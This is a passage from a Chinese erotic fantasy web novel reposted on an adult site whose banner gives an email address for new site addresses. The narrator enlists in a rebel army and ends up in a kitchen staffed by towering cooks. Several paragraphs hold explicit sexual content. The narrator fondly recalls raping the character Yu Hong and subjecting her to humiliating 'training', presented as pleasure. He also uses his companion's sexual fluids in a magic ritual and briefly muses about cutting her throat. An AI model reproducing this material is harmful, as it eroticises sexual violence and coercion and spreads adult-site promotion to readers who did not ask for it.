未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

【阿里布达年代祭】 第7-9集 作者:弄玉

【阿里布达年代祭】
   作者:弄玉(罗森)
   出版:河图出版社


  ◆ 第一章:小兵传奇

  抵达东海后的频繁落水,似乎在向我传达着什幺,假如我把这当作是不祥的预兆,那就可以準备早点跑路回家,但立志要作个优秀「追迹者」,天南地北追逐高价珍宝的我,并不相信这一套。

  甫才到来,就为反抗军赢得一个漂亮的胜仗,我自认这是很不坏的成绩,无奈除了我们这伙人之外,没有任何人能够证明这一点,所以当我们漂流在海上,被反抗军的船舰发现时,是被当作奸细论处的。

  这点当然造成了些许困扰,不过却不是什幺大问题,凭着我和茅延安的三寸不烂之舌,还有阿雪那虽然施术掩去脸上丽色,却仍显得纯洁可人的眼眸,很快就让他们相信,我们是前来投奔反抗军的义勇份子,只不过中途被海贼团俘虏胁迫,绑架求赎,又不幸捲入这场海战,所以才漂流海中。

  ………管他的,反正这也不全是谎言,其中大概有三成左右是事实。

  大概之前已经处理过许多投奔者,船上的反抗军用对待客人的礼仪,有规矩却欠缺敬意地安置我们。我们三个人被安排住在一处,但紫罗兰就有些麻烦,反抗军一度拒绝让它上船,甚至想把它重新扔下海去,可是阿雪的魔法却有效解决这个问题。

  不是黑魔法,是比黑魔法更厉害的东西。当阿雪俯身安抚紫罗兰的瞬间,她胸前一对高耸的巨乳,在薄质料的肚兜上衣一弹,附近的反抗军士兵顿时安静无声,双眼猛瞪,直瞥着她饱满傲人的胸口,就这幺忘记一切,让她把紫罗兰带上船来。

  我们被安置的地方是后舱,空间还不算小,但是整洁程度却让我们有个共识,这里之前很可能是用来囚禁俘虏的,我们等若是住进了一个牢房。

  不理会这个不吉祥的预兆,我们在这舱房内自得其乐。茅延安要来纸笔,自顾自地写着他的东西;紫罗兰趴在船舱的一角,继续睡觉;阿雪擦乾身上的水渍后,趴在我胯间,用她丰润的红唇、肥硕的雪乳,温暖我受寒的重要部位。

  坦白说,这样的杀时间方法相当有效,不知不觉就过了大半天,抵达目的地,火奴鲁鲁群岛的力夏达港。而当我们下船时,船上士兵用一种明显充满色慾的眼神,恋恋不捨地凝视阿雪,然后在我提醒阿雪,抹去她唇边那抹白浊干渍的时候,杀气腾腾地朝我瞪来。

  这是男人的荣耀,我当然是笑笑表示得意,无须避讳什幺。至于死鬼茅延安,这家伙每次都在我面前实际炫耀把妹功夫,我们出海之前他在把妹,旅程之中他在把妹,就连我们现在下船,岸上都立刻有几名穿着浪蕩的女子,被他的小鬍子扮相所迷,抢着向他狂抛媚眼。

  对于这幺一个无时不刻狂把漂亮妹妹的斯文贱男人,如果我不稍微放开顾忌,对他还以颜色,表示我只是不愿,而非不能,那我以后还能 起头做人吗?

  「贤侄,看到那边一群骚货没有?你信不信,只要我出去绕一圈,马上两手就可以各带一个美女回来。」

  「哦,你这幺快就可以找到一流刺青师吗?那顺便让他多奉送一点,别光刺手臂,还多在你脸上刺个绝代大淫魔的字样,我保证一定威武过人啊!」

  「善战者无赫赫之功,其实大叔我有些非比寻常的地方,就算不刺字,看起来也一样是威猛过人。」

  「什幺地方?你的直肠?」

  我和茅延安站在简陋港口的一角,皮笑肉不笑地相互嘲弄,没有人注意我们两个无名小卒,只是各自忙碌着工作。

  黑龙会的总部位于何处,一直是个谜,根据可信传闻,很可能是一座由无数船舰连锁组成的移动宫殿;反抗军的总部,一年前搬移到东海地方最繁华的蓬莱岛上,而旧总部所在,就是我们此刻所抵达的火奴鲁鲁群岛。

  这个群岛的周围海域,有大大小小十多个岛屿,过去反抗军实力单薄的时候,常常在各个岛屿上轮流驻扎,不让黑龙会识破主力所在,直到李华梅攻破巴士底岛上的大监狱,解放诸多战士,实力大振,这才稳定驻扎在火努鲁鲁主岛上,而后随着战事上的节节胜利,势力範围扩大,又把主力所在迁移到蓬莱岛。

  从力夏达港上岸,马上会感觉到之前茅延安所述说的东海气息。这里虽然不如娜丽维亚般繁荣,但来来往往的人潮,各式各样的髮色、複杂外型,却显示了一个都市的旺盛活力。

  人类是居住在岛上的主要份子,但码头上活动的,却还有我首次见到的甲壳族,外形是人体与甲壳类的结合,比如说我左手边那个背着龟壳、手拿柺杖,缓慢行走的老人;还有我右前方那个背部是蟹壳,八只蟹爪抓着不同货物叫卖的小贩,奇特的景象,令我眼界大开。

  「贤侄,往那边看,那边街角站的几个白衣美女,手上拿鱼叉、用布包住头的那几个,看到没有?那些都是人鱼族的。」

  「人鱼?」

  「是啊,人鱼族上岸活动的时候,都喜欢做这样的武装,那是她们的习俗,很好认的。」

  我望向茅延安所指的街角,几名手拿鱼叉的白衣少女,正用我所听不懂的方言,向店里一名长着虾头的甲壳族伙计购买乾货。那几名少女都作着一样的打扮,头上用包布裹住长髮,胸口用白布缠着,外头罩上一套无袖短衫;清一色的白色短裤,恰到好处地包贴着圆翘的屁股,小腿与手腕都用白线缠着,看上去显得十分英武剽悍,全不似诗歌故事中的柔弱娇怜。

  「贤侄,这没什幺好奇怪啊,东海地方连年战乱,人鱼族也不能置身事外。为了生活,人鱼族的美人儿也拿起鱼叉,保卫家园,这两年更和李元帅缔结盟约,加入反抗军,共抗黑龙会。」

  之前我就听人说过,人鱼族也是少数的全女性族类。与南蛮的羽族一样,她们每次生育,若为男性,则是显现父系的血统,只有生育女性,才会是人鱼。在海底的时候,是人鱼的外型,上了陆地,就会变化成人类的双腿。

  人鱼族也是有名的美女族类,我在岸上就闻名已久,不过确实没想到,东海地方的长时间争战不休,连这个本来以娇弱美人而扬名的族类,都诞生出明艳英媚的女战士来。

  「贤侄,低下头,你的熟人来了。」

  茅延安喊了一声,压着我把头低下,恰好附近人群一阵骚动,我 眼朝那边看去,眼前登时一亮,只见一双极其相似的妙丽倩影,快速朝这边过来,正是与我睽违良久的霓虹姊妹。

  羽虹一马当先,快步走在最前头,已有数个月不见的她,体态依旧轻盈纤瘦,身上仍是穿着那套女巡捕的制服。

  一袭白色的束腰长袄,从微微敞开的领口中,可以看到一抹淡淡的粉红抹胸,拢住了那对曲线恰到好处的玉峰;身为巡捕证明的宝石胸章:,别在她鼓鼓隆起的胸口。

  下身是紧贴着小翘臀、大腿的白色包裤,将修长曼妙的玉腿曲线毕露无余,充满了弹性和美感;脚下则是一双白色的鹿皮平底薄靴,紧紧贴到小腿位置的靴筒上,金色的花纹十分耀眼。

  看见这套正气凛然的女巡捕制服,再回想起她昨晚在海上激战的明艳英姿,我心头顿时一片火热,淫秽的目光尽在她性感热裤、美腿上游移,试图提醒自己数个月前在南蛮的旖旎光景。

  那时,在四大兽族的围攻下,羽族的根据地史凯瓦歌楼城沦陷,我侥倖混入了熊族阵营,更意外擒下了前来刺杀我的羽虹,不但残忍地夺去了她拚命捍卫的童贞,还对她施以极其羞辱的悲惨调教,恣意享受她青春娇嫩的少女肉体。直到我离开南蛮为止,不知道有多少个晚上,羽虹那双修长姣好的如玉粉腿,频频缠在我后腰上,赤裸胴体婉转嘤啼,那种火辣景象,想起来就让人回味无穷。

  「阿虹,你等我一等。」

  落后几步的羽霓在这时候抢了上来,金黄色的及腰长髮飘动,速度很快,眨眼间抢到羽虹身后,一把就抓在妹妹肩上,像是对她独自离船的动作很不满意。

  「姊,你别管我。」

  「啊。」

  羽虹急转过头,伸手拨开姊姊的右掌,在她转身的剎那,浅浅的金黄浏海随风分拨,露出了她冰雪般的冷艳容颜。之前在南蛮时,那种活泼娇俏的神韵,被一种不易亲近的冷漠、痛楚所取代,惊鸿一瞥间,竟然与萨拉城中的冷二公主有几分相似。

  羽霓惊呼缩手,所有人都以为她是被妹妹给拨落手掌,恐怕只有我才留意到,在羽霓碰到妹妹肩头的那一刻,就好像碰到一块烧红烙铁般缩了手,这根本不是被拨落,而是代表羽虹的体温异乎寻常。

  姊妹两人同样经过一场剧战,同样休息过大半天,但羽虹身上却仍在冒汗,金色短髮湿湿淋淋,像是刚从水里走出来似的,如果考虑到蒸发掉的部分,恐怕脱水情形比看到的更严重,这或许就是羽虹在甩开姊姊的手掌后,一语不发,加速离去的理由。

  霓虹姊妹位列当世七朵名花之一,在这座岛上更理所当然地是人们目光的焦点,她们两人闹了这一场,周围的人们都议论纷纷,不知道霓虹两位美人儿姊妹发生了什幺事。

  (明显是散热不良,奇怪,如果穿少一点,情形应该能稍微好转……嗯,是了,在南蛮的时候,这骚妞儿已经有点被我弄成暴露狂,她一定是顾忌这一点吧。)

  我心里有数,只是这时候不便多言,也幸好刚才霓虹两人没有朝这边看,否则以她们锐利的职业目光,大有可能把我和茅延安给认出来,那时候羽虹有了提防,我不但难以偷偷接近她,还要小心重蹈覆辙,被她偷偷潜入进来,把我喉咙割断。

  「喂,贤侄,那边在报名了,报名以后有午餐可以吃,我们赶快去吧。」

  「你是来吃饭还是来从军的?」

  笑骂声中,我与茅延安一起去岛上临时成立的整编处。一路上,我和茅延安商量要怎幺开始作事,由于我们已经打算一切由最基层做起,当个小兵,不容易立什幺大功。我们不宜太惹人注目,但身份太低,作什幺都不方便,所以该如何立功,迅速提升到相当位阶,这样才比较有利。

  至于如何寻宝,如何获利的问题,我当然是自己偷偷干,才不会与这老奸巨猾的色魔合作,所以大家提也不提,只是专注于立功陞官方面的讨论。我觉得以黑龙会的强势,当真想要建立军功,只怕没有想像中容易,茅延安则是信心满满,说是以我偷鸡摸狗的本事,区区黑龙会何足道哉,并且说这次会好好取材,用我在东海的辉煌战绩,写一部叫做小兵传奇的作品,光听名字就保证畅销。

  火奴鲁鲁群岛是反抗军的重要基地,来自四面八方的义勇兵着实不少,有些是在这里投军,有些则是从蓬莱岛被分配过来,那个临时搭建的整编处,外头挤满了人,等着整编发配。

  经过冗长的排队时间,终于轮到我们。我们向那里的负责人表示加入意愿,然后就是一段很典型的应徵面试。理所当然,我们把自己的本事夸得是天上少有,地下无双,痛斥东海恶势力的腐败,并且表示我们立誓锄强扶弱的崇高志向。

  那个花白鬍子的负责人,冷淡地回看着我们,像是看见一群麻烦人物似的,而在我们的陪笑下,老头慢吞吞地拿出表格,问我们的姓名。

  茅延安侧头思索,似乎在考虑着什幺,我怕他又像上次南蛮那样帮我胡乱取名,正要抢先开口,不料还是慢了他一步。

  「在下梅仁佑,浪蕩东海一介落拓画师,希望能够投入义军,共举大业。」

  茅延安往我一指,笑道:「这是我家侄儿,名动金雀花联邦的少年剑侠,梅佑仁,请老丈不要辜负他的长才,给他一个能堪大任的适当职位。」

  能堪大任,那岂不是要到战场的最前线去送死?我差点踢了茅延安一脚,连他胡乱帮我取名的份一起算下去。

  「梅仁佑……梅佑仁……两叔侄的名字真怪,又不知道是哪来的闲人,算了,早死早超生……这是你们的牌位……不,是你们的军牌,好好拿着超生……不,安置去吧。」

  那个花白鬍子的老头,活像看着死人般望过我们,又把两块活像牌位似的红竹名牌交给我们,然后才慢慢地挪调着白花眼镜,看向阿雪,在她饱满的胸前略作停留,这才望向她的脸。

  阿雪很期盼地望着我,在我与茅延安都取了个假名之后,她似乎也很期待我帮她取一个好的名字,可是刚刚被茅延安取了个怪名字的我,才不会甘心让她一个人高兴快活。

  「老头,这是我师妹,她名字是………」无视阿雪猛眨眼睛的期待,我微笑道:「嗯,大奶妹。」

  姑且不论茅延安听到名字后偷笑的反应,那个老头还真的把这名字写下去,跟着就将那个写着「大奶妹」的名牌交给了阿雪。

  当报名完成,要分配单位的时候,茅延安的出色文采,让他顺理成章地被派去岛上的司令部,从事文书工作,而我却临时想到一个很不妙的问题。

  军事组织的惯例,男男女女肯定不会分配在一个地方,换言之,我会与阿雪分配在不同单位。然而,阿雪的头脑纯真简单,随便和别人放在一起,不知道会被人骗去什幺地方给卖了,再者,她没有我在旁监视,如果被人认出了真面目,那可是天大的祸事,之前我机关算尽,怎幺偏偏就漏掉了这一点?

  「等一下,不管这边怎幺编排,我要求和……呃,我妹妹同一个单位。」

  实在没有别的理由好说,我仓促之间,用了这个相当烂的谎话当理由,说服那个老头把我和阿雪编在一起。

  我和阿雪拿到了一张草率的命令书与地图,要我们前往火奴鲁鲁岛西北角的庚三军营。在与茅延安约好联络方式后,我们就分开行动了。

  从南蛮时期开始,到萨拉再到东海,几个月来茅延安一直与我们共同行动,现在突然分开,那感觉还真是很特别,但我却还颇感快意,因为这幺一来,少掉一个碍手碍脚的麻烦人物,我很多事情可以更方便动手。

  「师父,好久没有看到霓虹她们了,我们什幺时候去与她们见面问好呢?」

  一点都没有晕船的困顿现象,阿雪活力十足地和紫罗兰追着跑,还向我问起霓虹,我则趁此机会,义正辞严地发出警告。

  「阿雪,我们不能与霓虹她们见面,至少现在不行,理由是因为……」

  要胡乱扯个理由还真困难,不过我是告诉她,东海地方情形複杂,尤其是两军征战,间谍必多,我怀疑反抗军前次的大败是内奸作祟,所以要不动声色,先帮反抗军抓出内奸。

  这当然只是鬼扯,我对反抗军的状况一无所知,哪晓得它上次战败是怎幺败的,只是随便找个理由胡说而已,但阿雪看我的眼神却充满崇敬。

  「师父,你真是厉害,这幺深谋远虑,黑龙会的恶人遇到你,一定会遭到天谴的。」

  「呃……是吗?我怎幺觉得自己一定会遭到天谴?」

  随口与阿雪胡诌了两句,我正想再对她敷衍,前头的巷子突然传出一阵骚动,十多名孩童从小巷子里头窜出,笑得欢天喜地,手上拿着青菜、生猪肉、水果等食物,活像拿到战利品似的大嚷大笑,最后头的几个还拿着粗布衣裤,一溜烟地跑出来,看到紫罗兰兇恶的猛兽形象,大叫一声,一哄而散。

  假如这些孩童的年纪不是那幺小,刚刚那一幕看来还真像山贼刚刚打劫完毕的画面,我和阿雪好奇心起,走到那条巷子里去,却没想到当真看到一个男人倒在地上,身上除了一件兜裆布外,就被剥得一丝不挂,背上与手脚上还留着许多小小的鞋印,任谁一看都知道是被践踏过。

  「救、救命……抢劫啊……」

  衰弱的求助声音,让我几乎控制不住脸上表情,险些就当场大笑出来。儘管我知道这世上人心险恶,东海地方更是弱肉强食的世界,但实在怎样都想不到,甫抵东海看到的一桩不法案件,居然是这样的荒唐劫案。

  阿雪半红着脸,主动上前将那个人扶起,只见那是一个生着满脸大鬍子的男人,明显过久没有修剪的虬髯浓须,几乎把半张脸都覆盖住,看不清楚相貌,但从外表来看,应该是三十好几,甚至接近四十的中年人了。

  那人被阿雪扶起,对着我们千谢万谢,说自己採买东西完毕,正要回去,却突然被这群孩子用竹刀、木棒给赶到巷子,跟着就被抢光了所採买的食品,还连全身衣物都给扒得乾净。

  一个盛年力壮、个头不矮的男人,居然会被一群孩童给抢劫,还吓得发抖,这实在是窝囊得很了,我压根就不想和这种人多说一句话,但阿雪却从包袱里拿出我的衣服,给这个大鬍子换上,还多事地说要送他回家。

  双方身材有别,他一穿上我的衣服,我才发现他原来比我还高出一个头,身材高大魁梧,站起来像尊铁塔似的,过小的衣衫在他身上左破右露,甚是可笑。

  「你们……是刚刚到火奴鲁鲁的外地客人吧?你们帮我这个大忙,愿不愿意到寒舍来喝杯茶,吃点东西?我作菜很好吃的。」

  「不用了,我们有很多大事要忙,没时间来这里吃饭,阿雪,我们走了。」

  招呼阿雪离开,走之前向这男人随口问路,谁知道他也住在火奴鲁鲁的西北角,在阿雪的鸡婆多事下,我们两人一豹便和他同行,节省走错路的时间,顺便也护卫他回家。

  「这位先生,我叫阿雪,你尊姓大名啊?」

  我没兴趣学阿雪那般客气有礼,一步走在前面,却听到那个男人很笨拙地回答。

  「我……我的名字不好听,我是个厨师,叫做加籐鹰。」

  「加籐鹰?传说中只要一根羽毛加身,就可以令女人极乐高潮的圣兽加籐金鹰?就凭你?你以为你是什幺东西?你的下面是什幺东西?」

  被这名字给大大吓了一跳,我急忙回身喝问,而那个百分百取错名字的加籐鹰露出很尴尬的笑容,说这是他父亲崇拜传说中的圣兽,为他取的名字,他本身并没有要侮辱圣兽的意思。

  我是懒得再与这个男人多话,直接催着阿雪加快脚程,大概走了个把时辰后,终于到了火奴鲁鲁的西北角。然而,当我们与加籐鹰在岔路分手,逕自来到地图上的庚三军营,却不由得瞪大眼睛,一面核对手上的地图,一面错愕地望着眼前的建筑物。

  建筑物破烂,这点倒是没有什幺大不了,毕竟我早就猜到反抗军物资缺乏,这里又僻处孤岛,能有一栋尚称稳固的木造建筑就不错了。但眼前这栋连着一间草棚饭堂的大木屋,不只是破旧、摇摇欲倒,甚至还有一根不合时宜的大烟囱,往上冒着袅袅炊烟;门缝中则闪着刀光火影,不住往外飘着食物香气。

  妈的!我似乎忽略了一件很重要的事。

  军队组织很複杂,有战斗部队,也有后勤部队,而那个死老头………把我和阿雪分配到伙夫营了!

  我看着眼前那栋摇摇欲倒的厨房,只觉得自己的双腿好像也跟着晃起来,先前为着东海之行所做的种种雄心企划,我所预备展开的小兵传奇,现在从最基础的根部开始崩溃。

  当我正为着计划的突变而头晕,阿雪却像感觉不到我苦恼似的大步向前,一把推开面前虚掩的大门,依照我先前教她的军中礼仪,大声报上了自己的名字。

  「新二等兵……大奶妹,军籍号码五七一一四三八,到庚三军营报到了。」

  在她推开门的瞬间,我看清厨房内的景象,也看到正在里头工作的三名伙计,年纪有老有少,唯一共同的特徵,就是每个人都生得高头大马,也都各有残疾,一行排站起来,俨然就是三座金刚铜像。

  被阿雪的推门与报名声给打断,正在杀猪、剁羊、切割生鱼的三大金刚一起 头,斜眼歪嘴地朝我们看来,手中的刀、叉、斧不约而同地扬起,杀气腾腾的狰狞模样,比黑龙会的贼军犹有过之,如果走在街上,保证会把路上每一个孩童全都吓得哭起来。

  「嘿,哪里来的肥羊啊……这里好久没有生人来了……」

  「看看那大奶小妞,细皮嫩肉的……」

  「何止啊,还有一个男的……没什幺肉似的,旁边那头豹子倒挺肥的。」

  「才和褚老头要几个生人来炖汤,这次倒来得挺快啊!」

  龇牙咧嘴的兇恶气氛,还有正流遍厨房桌上、地下的鲜血,全化作刺鼻的血腥味一起袭来,我顿时觉得天旋地转,还以为自己到了某个人间地狱,而不是一间厨房。

  但一阵连环闷响声,却随即打破了这样的诡异气氛,三名巨汉的后脑杓全都挨了一记锅铲,让他们全都趴倒在面前生肉的血泊中,下手的声音是那幺响亮,我甚至以为他们三个人无一倖免地倒毙了。

  动手的人,是站在厨房最后头角落的一个大汉,黝黑的肤色让人印象深刻,略为花白的头髮,明显比其余人年长。他从角落里走了出来,冷冷地看过我和阿雪,大声说话。

  「欢迎来到东海厨艺训练学校,我是这里的二当家,宫本十藏,你们被分配到这里,往后就是这里的一份子。」

  残缺左臂上挂的金钩,增添了身上的肃杀威势,这个叫做宫本十藏的黑人厨师,却有着军人的气派。

  「进入学校,要服从大当家……也就是校长的指示。大当家的指示,就是一切,如果大当家要学生去死,你们全部都要死,明白了没有?」

  听起来这个鬼厨房还有一个更高层的人物,威严比宫本十藏更高,但正当我想问大当家是何方神圣,一个似乎很胆怯的高大身影却在宫本十藏身后出现,很不好意思地向我们打招呼。

  「……不,没、没有那幺严重啦……我不会让大家去死的,只不过厨房这种地方,有时候难免会……」

  换上了一身厨师打扮,带上白色高帽、穿好厨师围裙,向我和阿雪招手的男人,就是这个厨房的大当家,也就是我们路上遇到的大鬍子,加籐鹰。和身边杀气凛凛的宫本十藏相比,还真是古怪的组合;值得一提的是,他左手袖子上绣了一尾青色蟠龙,龙躯圈绕着一个红色的「特」字,不晓得是什幺意思。

  「欢迎两位,哦,还有这位豹小姐,我们大家好好相处吧,煮菜烧饭很快乐的。」

  以这句话为开端,就开始了我们在「东海厨艺训练学校」就读的血泪日子。
  ◆ 第二章:四大金刚

  「师父……不,哥哥啊,你拿刀的姿势根本不对,这样子没办法削好马铃薯的。」

  仍改不掉对我的称呼,阿雪很不好意思地吐了吐舌头,但是被她甜着声音叫「哥哥」的感觉,真是让人爽上了半边天。

  「我就喜欢这样拿刀,怎幺样?我可不是为了削马铃薯才到这里来的。不过就是削皮嘛,刀法就是要快,除了快之外还是快,你再啰唆,小心等一下又吃了二当家的排头。」

  「可是……哥哥你削出来的马铃薯,全都变成了正方形啊。」

  阿雪的一句话,造成我后脑一阵剧痛,被这间破烂厨房的二当家,自称是「东海厨艺训练学校副校长」的宫本十藏,给狠狠敲上了一记,说我这死老百姓浪费粮食。

  这间厨房里的四个厨师,全都是体有残缺、身材高大的长人,名字分别是宫本十藏、百藏、千藏、万藏。其中以宫本十藏的年纪最大,代替那个做事温吞和气的大当家,掌管整个厨房,看到什幺不顺眼的地方,马上就是一锅铲对準后脑杓敲下去。

  每天太阳还没升起,就要起床开始打理,我和阿雪是新手,被分配到的任务就是炖汤看火,还有帮蔬菜削皮、摘叶,看似简单,我却常常做到手软。不是因为工作量沈重,而是因为每当我削得不漂亮、摘得有瑕疵,那个老黑鬼的铁铲就无情地挥下来,那一刻……何止是手软,我们简直痛到腿都会抖。

  「腿抖算是很轻微的症状了,二当家还当你们是死老百姓,下手还很轻,如果换做是对付我们,后脑杓都会冒出烟来。」

  「对,真的会冒烟喔。」

  说到痛处,千藏和万藏不约而同地用力点头。四大金刚的名字以年纪排列,他们两人的年纪最轻,只比我稍稍年长,与我也混得最熟,是每天晚上厨房收工后的固定牌搭子,只不过两人一个瞎了眼,一个聋了耳朵,打起牌来常常有些古怪画面。

  除了身高相若、相貌同样兇恶、身上都有残疾,四大金刚没有一个相同的地方,甚至连姓名都是加入这间厨房后新取的,至于原本的姓名是什幺,这点我就不清楚了。

  年纪最长的十藏,是个独臂的黑人,缺掉的左手换成了一只金钩。看上去像个海盗多过像厨师的他,本来是负责熬煮炖汤,因为我和阿雪的加入,接手了烹炒菜食米饭的工作。这个黑人天生神力,百多斤的重锅连同食材,被他的独臂抛甩自如,「金钩炒饭」据说是本地名产。

  沈默寡言的百藏,并不是人类,而是甲壳族中的蟹人,负责这间厨房里所有的点心製作。看他製作点心时,八手齐动,诸般杂碎馅料乱飞,瞬间就把一个精緻繁複的点心製作成形,那种快如闪电的动作,真是一种艺术,但唯一的遗憾,就是这位甜点大师傅天生没有味觉,所以甜点有时候会出些意外毛病……但我真正在意的,是听说这只大螃蟹有个很漂亮的美人鱼妹妹。

  担任麵食部大师傅的千藏,年纪长我两岁,一双眼睛因为战祸失明,但却因此把手练得极巧,触感非常灵敏。每次看他转动双臂,搓、揉、腕击、推旋麵团、拉甩麵条的动作,一丝一节,像是一段无声的舞蹈,常常让我忍不住想要叫好……直到我发现,这个死瞎子最大的嗜好,就是在大家打牌的时候,用他的巧手偷牌出千。

  块头最大的万藏,与我同年,耳朵的残疾让他说话有些迟钝,专职处理各种生鲜食物。最常做的工作,就是拿着他那把厚背大刀去屠宰牛、羊、猪、鲨,刀子虽然厚重,但展现的刀工却非同凡响,每一块奇薄如纸的鲜肉,确实保留了肉的鲜美。

  四大金刚各有拿手的厨艺绝活,但淩驾于他们之上的特级厨师却更有一套。

  连我都觉得很难以置信,不过,每当加籐鹰换上了厨师装,整个人所散发的感觉就全然不同,完全专注于厨房内的每样料理,一面烹、煮、炒、炸,一面指点四大金刚工作,眼神中闪烁的那种虔诚光彩,像是一个求道的僧侣、悟剑的剑客,全然享受着自己的努力与成就。

  只能说人各有志了,儘管十多天的相处,白天劳动、晚上打牌胡闹,让我对这些人逐渐抱持好感,但每当念及自己的处境,我就觉得一肚子鸟气。

  这里倒不是没有立军功的机会,黑龙会的舰队和岛上义军时常发生零星战斗,我连续几个早上都是在炮弹落海的爆炸声中惊醒,但自己一直待在厨房里头,根本没机会碰触战事,真要说有什幺可能上场战斗,那除非是义军舰队大败亏输,黑龙会直接杀上岛来。

  如果真的出现这种情形,逃命都来不及了,蠢蛋才去以卵击石,当然更加没有立功机会,结果纵然不愿,我仍然只能蹲坐在厨房的一角,不甘不愿地狂削着马铃薯。

  眼看着阿雪在这间厨房越混越开心,甚至忘掉本来目的;紫罗兰只要有熟肉吃、有地方趴着睡觉,就什幺也不管,而茅延安在岛上司令部展现才能,如鱼得水,整天把妹泡妞,帮一群蕩妇淫娃画裸体像,甚至没有时间来向我炫耀,我不得不承认,人还是得要靠自己。

  该是认真想想如何增强自己的时候了。要闯入强者争雄的世界,如果没有足够的实力,只是妄图使诈与诡骗,没有人能够得到好结果的。

  过去我心里一直有个印象,是我自己不愿意花时间练功,不愿努力,纵然家传武学绝世超强,我也不屑去练,所以武艺低微,是自己的选择。可是在萨拉城中,月樱和心灯居士却撕毁了我这个假希望,让我从一个悠久的梦中醒来,觉悟到自己不是不练,是不能练。

  其实我心里一直有个声音,期望在经过那幺多年以后,我的身体已经与小时候不同,不会一练武功就产生那幺强烈的排斥作用,那样我就可以重新修练家传武功。告诉自己只是个懒惰虫,与告诉自己是个彻头彻尾的废人,那种绝望感受是不同的。

  可是,人是会成长的,纵然梦醒了,终须面对现实,但我会这幺容易就被打倒吗?即使不能练武,我还是有其他本钱去争雄称霸啊。

  细数我身上收藏的珍宝,其实我已经有了几样寻常武者梦寐以求的宝物。家传的玄武真功秘笈、莱恩·巴菲特赠予的碎梦刀、夺自九鬼鹰魔的九死邪功,这三样练成后足以在大地上成王争霸,甚至拥有五大最强者那级数力量的神功,对我都没有意义,明明坐拥宝山,却只能乾瞪眼。

  大魔导师法米特·修·卡穆的遗产,那枚琥珀色的黄晶石,应该就是解开六大暗黑召唤兽的关键秘密。这个强大魔力实体化所凝成的结晶体,破裂缝隙中所绽放出的符文,已经给了我很多启示,只要我能破解符文的秘密,就可以得到里头所记载的知识。

  这枚黄晶石并非矿物,是由法米特的魔力凝结而成,法米特所修练的又是淫术魔法,所以触动黄晶石的关键就是淫术魔法。之前我用淫术魔法施放结界,黄晶石有过反应,但不管我使用召唤术,还是施放结界,黄晶石都只是微微放光,并没有什幺大反应,显示我给予的刺激不够大。

  淫术魔法的核心,最终仍是男女交媾欢好,所以我也根据这点尝试了一次,趁着我与阿雪翻云覆雨,把黄晶石放在被褥下头,吸收阿雪攀登极乐巅峰时所洩出的琼浆玉液。当时,黄晶石不仅放出强光,还放出烫人的高热,反应比单纯施展淫术魔法强得多,证明我尝试的路子对了,只不过刺激程度仍是不够。

  阿雪其实已经是个很棒的牲祭对象了,她体内蕴含着第七级力量,是个优秀的黑魔法师,又还是个未破身的处女,完全符合魔法世界中高等素材的要求,她的蜜液还不行,难道真要割断喉咙放血才行?

  不对,不对,一定不可能是这样子,法米特是淫术魔法师,不是黑暗大巫师,不会用到这幺阴毒的解封手法,肯定是有些地方我没有参悟透。

  怀着这样的烦恼思绪,我常常到海滩边去踱步思索,希望冰凉的海水在淹过我足背之余,也能够带给我冷静,帮助我思索出头绪来。

  漫步在海边,不只是帮助我静心思索,还常常可以看到壮阔的海景……与海战。

  听茅延安说,黑龙会这几日正朝蓬莱岛那边发动大攻击,双方你来我往,战得甚是激烈,所以对火奴鲁鲁这边就比较放鬆,只是做着牵制性攻击,让这边的舰队无法离开,去帮助蓬莱岛那边的战线。

  「而且……或许贤侄你也感觉到了,这个岛上的人们很惧怕黑龙会舰队,说黑龙会的舰队有幽灵船助阵。」

  「幽灵船?」

  我想起那天在海上所遭逢的鬼船,但在那一天之后,我再也不曾看过那艘鬼船出现在外海,也没有机会再见到邪莲。

  黑龙会和反抗军整天打个不休,船只进出码头次数频繁,炮弹与羽箭交错射得满天飞,偏偏又始终分不出个明显胜负,这就让人不得不把这惨烈画面当作布景来看。

  从人数上来看,黑龙会一方佔了明显优势,船舰的规模也比较庞大坚实,可是反抗军却有地利之便,利用这座岛的狭窄入口,每当趋于劣势,就把船只往后撤去,一旦把黑龙会舰队诱入峡道口,跟着就是大炮猛轰,黑龙会为了避免损失,也就不敢太过强攻,把军队撤回去。

  本来战局可以不用这样无趣地僵持,但之前几个月的连场征战,黑龙会负责这边战局的两大海将军武间异魔、天海幻僧,全都在战争中负伤,无力在战场上指挥,也没办法抵御反抗军的高手奇袭,所以黑龙会最近的攻击都只是象徵意义,并没有那股誓要分出胜负的狠劲。

  我尝试在厨房里头多做打听,想要弄清楚这个地方的战情,可是每次我提到外头的战况,就会被人很不客气地打断。

  「外头那些人怎幺样,和我们没有关係,不要把他们的问题带进厨房里来,老老实实煮你的汤!」

  挥舞着左手的金钩,十藏口中的「外头那些人」,就是与黑龙会恶战不休的反抗军,而我一直觉得很奇怪,包括加籐鹰在内,这间厨房里的每个人,都应该是属于反抗军阵营的麾下,是正式军职的身份,更别说我初到岛上时,地图上清楚明白写着这里是庚三号军营。

  但每次听四大金刚谈起外头的战事,本来很和气的他们,口气都变得非常不屑,肆无忌惮地嘲笑着敌我两军,对友军的败阵没有多少同情,这实在是一件很古怪的事,就算我与他们越混越熟,还是对这点难以索解。

  外头这些反抗军,打生打死就是为了对抗黑龙会,说起来也是为生民百姓谋福,如果他们都完蛋了,黑龙会统治了东海,难道这间小小的厨房还能独善其身吗?

  「你们四个都是高头大马,功夫看来也不差,义军的将军一定是白癡,不让你们上战场,把你们分配到这边煮菜。」

  「我们是厨师,不是战士,外面那些人怎幺打怎幺杀,与我们没有关係。而且大当家和我们只是受雇在这里开店营业,没有立场,也不管战斗……大当家说过了,厨师永远是中立的。」

  「中立个鬼啊,你们四大金刚拿起刀来,凶神恶煞的样子,比外头那些人更可怕,站出去保证被人当作是黑龙会的。」

  这幺高的大块头,如果四个人一排冲锋出去,光是高头大马的压迫力,就已经非常有用,更别说十藏黑鬼的举鼎神力、万藏聋子的解牛快刀,我看都是杀伤力十足,不出去屠宰黑龙会的贼人,留在这里杀一些无辜的牛羊,实在没道理。

  不过,讨论这些并无意义,而且据四大金刚所说,这间厨房的僱员,只是与反抗军签约,受聘于此的僱员,本身并不是反抗军的成员,所以也毫无作战义务,我的话对他们自然没有作用--

  火奴鲁鲁岛上的物资还算丰富,但为了节省预算起见,我们厨房也经常需要派人到户外搜集食材,或是摘野菜,或是打猎钓鱼。

